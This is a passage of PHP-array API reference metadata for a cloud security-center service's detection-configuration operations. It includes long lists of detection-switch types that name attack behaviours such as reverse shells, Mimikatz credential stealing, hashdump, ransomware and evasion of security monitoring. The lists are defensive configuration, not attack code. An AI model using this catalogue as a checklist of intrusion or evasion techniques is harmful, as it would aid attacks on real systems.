(Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: suspected privilege escalation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk orders (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: malicious drivers (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Against security software (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: process debugging (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijack dynamic link library (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypassing security monitoring (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Load high-risk drivers (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Running high-risk ARK tools (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Against security software (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacking the PAM Module (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump Attack (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54383**: MimiKatz Credential Stealing (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump Attack (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound Shell (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell execute command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound Shell (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious soft communication (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: malicious script behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: ransomware (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected Extortion (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: ransomware (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected Extortion (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: delete system backup behavior (Windows)'."\n", 'type' => 'string', 'required' => false, 'example' => 'kdump_switch', ], 'required' => true, 'maxItems' => 50, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '765EDBDE-1686-5DBA-B76F-2E0E6E7E1B96', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"765EDBDE-1686-5DBA-B76F-2E0E6E7E1B96\\"\\n}","type":"json"}]', 'title' => 'BatchOperateCommonOverallConfig', ], 'DescribeCommonTargetResultList' => [ 'summary' => 'Queries the information about the servers based on the specified configuration item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '113.57.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the configuration item. Valid values:'."\n" ."\n" .'* **webshell_timescan**: webshell detection and removal'."\n" .'* **aliscriptengine**: in-depth detection engine'."\n" .'* **alidetect**: installation scope of local file detection'."\n" .'* **alidetect-scan-enable**: detection scope of local file detection'."\n" ."\n" .'> You can call the [ListClientUserDefineRules](~~ListClientUserDefineRules~~) and [ListSystemClientRules](~~ListSystemClientRules~~) operations to obtain more types of custom and system configuration items.'."\n", 'type' => 'string', 'required' => true, 'example' => 'webshell_timescan', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', ], 'TargetConfig' => [ 'description' => 'The information about the configuration item.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the configuration item. Valid values:'."\n" ."\n" .'* **webshell_timescan**: webshell detection and removal'."\n" .'* **aliscriptengine**: in-depth detection engine'."\n" .'* **alidetect**: installation scope of local file detection'."\n" .'* **alidetect-scan-enable**: detection scope of local file detection'."\n", 'type' => 'string', 'example' => 'webshell_timescan', ], 'Flag' => [ 'description' => 'The identifier that indicates whether the configuration item is applied to the server. Valid values:'."\n" ."\n" .'* **add**: applied'."\n" .'* **del**: not applied'."\n", 'type' => 'string', 'example' => 'del', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'string', 'example' => '22', ], 'TargetDefault' => [ 'description' => 'The default identifier.'."\n", 'type' => 'string', 'example' => 'add', ], 'TargetType' => [ 'description' => 'The type of the server to which the configuration item is applied. Valid values:'."\n" ."\n" .'* **uuid**: a server'."\n" .'* **groupId**: a server group'."\n", 'type' => 'string', 'example' => 'uuid', ], 'TargetList' => [ 'description' => 'An array that consists of the IDs of the server groups or the UUIDs of the servers.'."\n" ."\n" .'> If **uuid** is returned for the **TargetType** parameter, **UUIDs** of the servers are returned. If **groupId** is returned for the **TargetType** parameter, IDs of the server groups are returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the server group or the UUID of the server.'."\n" ."\n" .'> If **uuid** is returned for the **TargetType** parameter, the **UUID** of the server is returned. If **groupId** is returned for the **TargetType** parameter, the ID of the server group is returned.'."\n", 'type' => 'string', 'example' => 'i-bp1hduhk14uekf7i****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"TargetConfig\\": {\\n \\"Type\\": \\"webshell_timescan\\",\\n \\"Flag\\": \\"del\\",\\n \\"TotalCount\\": \\"22\\",\\n \\"TargetDefault\\": \\"add\\",\\n \\"TargetType\\": \\"uuid\\",\\n \\"TargetList\\": [\\n \\"i-bp1hduhk14uekf7i****\\"\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeCommonTargetResultList', ], 'OperateSuspiciousOverallConfig' => [ 'summary' => 'Enables or disables a feature that detects exceptions.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '101927', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '222.178.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **auto_breaking**: Anti-Virus'."\n" .'* **ransomware_breaking**: Anti-ransomware (Bait Capture)'."\n" .'* **webshell\\_cloud_breaking**: Webshell Protection'."\n" .'* **alinet**: Behavior prevention'."\n" .'* **k8s\\_log_analysis**: K8s Threat Detection'."\n" .'* **alisecguard**: Defense mode for Client Protection', 'type' => 'string', 'required' => true, 'example' => 'k8s_log_analysis', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the feature. Valid values:'."\n" ."\n" .'* **on**: yes'."\n" .'* **off**: no'."\n", 'type' => 'string', 'required' => true, 'example' => 'off', ], ], [ 'name' => 'NoTargetAsOn', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to configure assets for the feature. Default value: **false**. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n" ."\n" .'> This parameter takes effect only when you set **Config** to **on**.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The returned information.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\"\\n}","type":"json"}]', 'title' => 'OperateSuspiciousOverallConfig', ], 'OperateCommonOverallConfig' => [ 'summary' => 'Enables or disables a feature by type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92412', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '223.79.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization'."\n" .'* **threat_detect**: Dynamic adaptive threat detection capability'."\n" .'* **suspicious_aggregation**: Alert Association'."\n" .'* **alidetect**: File Test'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service execution high-risk operation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service execution suspicious operation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant Advanced Protection (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Create malicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Create suspicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Ingress service execute command \\[enhanced mode] (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service execution a high-risk operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service execution suspicious operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Create malicious files (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service execution high-risk operation (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services execution high-risk operations (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Ingress service implants suspicious script/binary file (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: obfuscated command (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Command line download and run malicious files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_71131**: Ingress service executes sequence of suspicious behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell execute suspicious command (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Command line download and run malicious files (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive Registry Key Protection (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: high-risk account manipulation behavior (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Create service autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Create high-risk autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Create scheduled task autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Create registry autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Create WMI autorun item (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk orders (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploiting Kernel Vulnerabilities to Elevate Privileges (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: suspected privilege escalation (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk orders (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: malicious drivers (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Against security software (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: process debugging (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijack dynamic link library (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypassing security monitoring (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Load high-risk drivers (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Running high-risk ARK tools (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Against security software (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacking the PAM Module (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump Attack (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54383**: MimiKatz Credential Stealing (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump Attack (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound Shell (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell execute command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound Shell (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious soft communication (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: malicious script behavior (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: ransomware (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected Extortion (Linux)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: ransomware (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected Extortion (Windows)'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: delete system backup behavior (Windows)'."\n", 'type' => 'string', 'required' => true, 'example' => 'kdump_switch', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable or disable the feature. Valid values:'."\n" ."\n" .'* **on**: enable'."\n" .'* **off**: disable'."\n", 'type' => 'string', 'required' => true, 'example' => 'on', ], ], [ 'name' => 'NoTargetAsOn', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to configure assets for the feature. Default value: **false**. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n" ."\n" .'> This parameter takes effect only when you set **Config** to **on**.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], ], 'description' => 'The returned data.', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","type":"json"}]', 'title' => 'OperateCommonOverallConfig', ], 'DescribeCommonOverallConfig' => [ 'summary' => 'Queries the information about a specified feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92030', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '59.61.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization'."\n" .'* **threat_detect**: Dynamic adaptive threat detection capability'."\n" .'* **suspicious_aggregation**: Alert Association'."\n" .'* **alidetect**: File Test'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: malicious drivers'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service execution high-risk operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service execution suspicious operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant Advanced Protection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Create malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Create suspicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk orders'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound Shell'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell execute command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Against security software'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious soft communication'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: malicious script behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: obfuscated command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Command line download and run malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: ransomware'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected Extortion'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: process debugging'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploiting Kernel Vulnerabilities to Elevate Privileges'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacking the PAM Module'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijack dynamic link library'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump Attack'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: suspected privilege escalation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypassing security monitoring'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Ingress service execute command \\[enhanced mode]'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive Registry Key Protection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell executes high-risk commands'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51226**: Powershell execute suspicious command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51228**: High-risk lateral penetration tools'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51229**: Browser service execution a high-risk operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51230**: Entrance service execution suspicious operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51232**: System processes execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51233**: Java service execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51234**: Office components execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51235**: Web service performs high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51236**: Rebound shells'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52815**: Load high-risk drivers'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52816**: high-risk account manipulation behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52818**: Information detection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52820**: Create malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52821**: Suspicious process startup'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52823**: Running high-risk ARK tools'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52825**: Unauthorized execution of high-risk orders'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52826**: Entrance service execution high-risk operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52827**: Ransomware'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52828**: Suspected Extortion'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_52829**: delete system backup behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54168**: LSA security permission service protection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54365**: Create service autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54366**: Create high-risk autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54367**: Create scheduled task autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54368**: Create registry autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54369**: Create WMI autorun item'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54373**: Against security software'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54374**: Intrusion trace cleanup'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54384**: Hashdump Attack'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_55251**: Database services execution high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57242**: Malicious command execution'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57340**: Command line download and run malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62357**: Cloud Assistant service information detection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_63725**: Ingress service implants suspicious script/binary file'."\n", 'type' => 'string', 'required' => true, 'example' => 'kdump_switch', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6D9CDB47-6191-4415-BE63-7E8B12CD4FBE', ], 'OverallConfig' => [ 'description' => 'The information about the feature.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **kdump_switch**: Active defense experience optimization'."\n" .'* **threat_detect**: Dynamic adaptive threat detection capability'."\n" .'* **suspicious_aggregation**: Alert Association'."\n" .'* **alidetect**: File Test'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_3277**: Suspicious process startup'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_5507**: malicious drivers'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_38857**: Entrance service execution high-risk operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50858**: Web service performs high-risk operations'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50859**: Entrance service execution suspicious operation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50861**: Information detection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50862**: Cloud Assistant Advanced Protection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50867**: Create malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50868**: Create suspicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50869**: Unauthorized execution of high-risk orders'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50870**: Rebound Shell'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50873**: WebShell execute command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50876**: Against security software'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50877**: Malicious soft communication'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50884**: Suspicious worm script behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50885**: malicious script behavior'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_50983**: obfuscated command'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51200**: Command line download and run malicious files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51201**: ransomware'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51202**: Suspected Extortion'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53168**: process debugging'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_53272**: Exploiting Kernel Vulnerabilities to Elevate Privileges'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54034**: Intranet scan'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54265**: Hijacking the PAM Module'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54395**: Unauthorized reading and writing of sensitive files'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54699**: Hijack dynamic link library'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_54953**: Hashdump Attack'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_57897**: suspected privilege escalation'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_62981**: Bypassing security monitoring'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_64025**: Ingress service execute command \\[enhanced mode]'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_39659**: Sensitive Registry Key Protection'."\n" .'* **USER-ENABLE-SWITCH-TYPE\\_51225**: Powershell 